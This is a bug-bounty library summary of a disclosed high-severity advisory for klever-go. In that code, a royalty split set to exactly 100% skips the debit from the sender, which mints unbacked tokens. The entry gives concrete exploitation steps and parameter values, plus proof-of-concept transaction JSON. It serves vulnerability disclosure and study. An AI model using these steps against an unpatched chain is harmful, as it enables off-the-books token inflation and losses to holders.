# klever-go: Percentage-transfer royalty skips the source debit at exactly-100% splits

In klever-go's percentage royalty transfer, a 100% split drives royaltiesToPay to 0 and early-returns before debiting the sender, minting the royalty.

- Payout: Research
- Severity: high
- Program: Klever-Go
- Found by: nickgs1337
- Disclosed: 2026-08-28
- CVE: CVE-2026-55763
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-v358-wf77-39xv
- Library page: https://bugbountylibrary.com/r/ghsa%3AGHSA-v358-wf77-39xv
- Tags: area:web3 domain:web3 impact:funds-loss impact:integrity kind:research platform:ghsa sev:high tech:go technique:incomplete-fix technique:source-review vuln:accounting-error vuln:business-logic vuln:reward-distribution

**Target:** KDA percentage-transfer royalty path in core/kapp/accounts/accounts.go
**Root cause:** processPercentageRoyaltiesTransfer distributes splits and early-returns on royaltiesToPay <= 0 before calling acntSrc.SubFromBalance, so a valid exactly-100% split leaves nothing to pay yet still credits the recipient. The split guard only rejects allocations exceeding the pool (splitToPay > royaltiesToPay), not equal to it.
**Steps:**
1. Configure own KDA with a TransferPercentage royalty (e.g. `percentage: 1000`) and a single splitRoyalties entry with `percentTransferPercentage: 10000` (exactly 100%).
2. Any holder transfers the asset with `kdaRoyalties` set to the computed pool (e.g. amount 100000000000, kdaRoyalties 10000000000).
3. Split loop credits the recipient the full royalty; royaltiesToPay reaches 0 and `if royaltiesToPay <= 0 { return Ok }` fires before `acntSrc.SubFromBalance(royaltyAmount)`.
4. Observe two credit receipts (transfer + royalty to split address) while sender is debited only the transfer amount; repeat to inflate supply off-the-books.
**How found:** Compared the percentage path against the sibling processFixedRoyaltiesTransfer, which debits the sender before the split loop; noticed the collect in the percentage path sits after the `royaltiesToPay <= 0` early-return and that the guard uses a strict `>` so exactly 100% is a valid config reaching that return.
**Exploitation:** Owner creates a KDA with a transfer-percentage royalty and a 100% split to an owner-controlled address; every subsequent transfer by any holder credits the split address the full royalty pool while the sender is never debited, minting royaltyAmount = transferValue × rate per transfer with no supply-counter update.
**Escalation:** Unbounded: mint fires on any holder's transfer of the asset, not just the owner's, so repeated transfers scale the off-the-books inflation.
**Insight:** When two sibling code paths implement the same economic operation, diff their ordering of state mutation vs. early-returns; a strict `>` guard on a percentage field means the boundary value (100%) is accepted and can zero out the residual that gates the debit.

## Proof of concept (copied exactly from the original report)

**Create-asset tx with 100% royalty split**

```
{
    "hash": "ec2a8e8d17136986756141f598f869803528ab12840416671b09622eaf12bc7f",
    "blockNum": 104,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "contract": [
        {
            "type": 1,
            "typeString": "CreateAssetContractType",
            "parameter": {
                "type": "Fungible",
                "name": "Finding07",
                "ticker": "F07",
                "precision": 6,
                "initialSupply": 1000000000000,
                "maxSupply": 0,
                "royalties": {
                    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
                    "transferPercentage": [
                        { "percentage": 1000 }
                    ],
                    "splitRoyalties": [
                        {
                            "address": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
                            "percentTransferPercentage": 10000
                        }
                    ]
                }
            }
        }
    ]
}
```

**Transfer tx showing royalty credit without debit**

```
{
    "hash": "37527757b10dcf968b86cc3c0abf971c70e81aef0348b4a5b7d4ccc1bf3706b1",
    "blockNum": 120,
    "status": "success",
    "resultCode": "Ok",
    "chainID": "420420",
    "receipts": [
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1qeh4py4p5zzy94l2hnygpfklug82gpzw08u680ycwp00njxyhgdqcv2xjm",
            "type": 0,
            "typeString": "Transfer",
            "value": 10000000000
        },
        {
            "assetId": "F07-3NG3",
            "from": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
            "to": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
            "type": 0,
            "typeString": "Transfer",
            "value": 100000000000
        }
    ],
    "contract": [
        {
            "type": 0,
            "typeString": "TransferContractType",
            "parameter": {
                "assetId": "F07-3NG3",
                "toAddress": "klv1fttx7kd0mzw3t8nekmh98489dwqq6mehs98nfcuvewwz0yt776aqf5ydfa",
                "amount": 100000000000,
                "kdaRoyalties": 10000000000
            }
        }
    ]
}
```

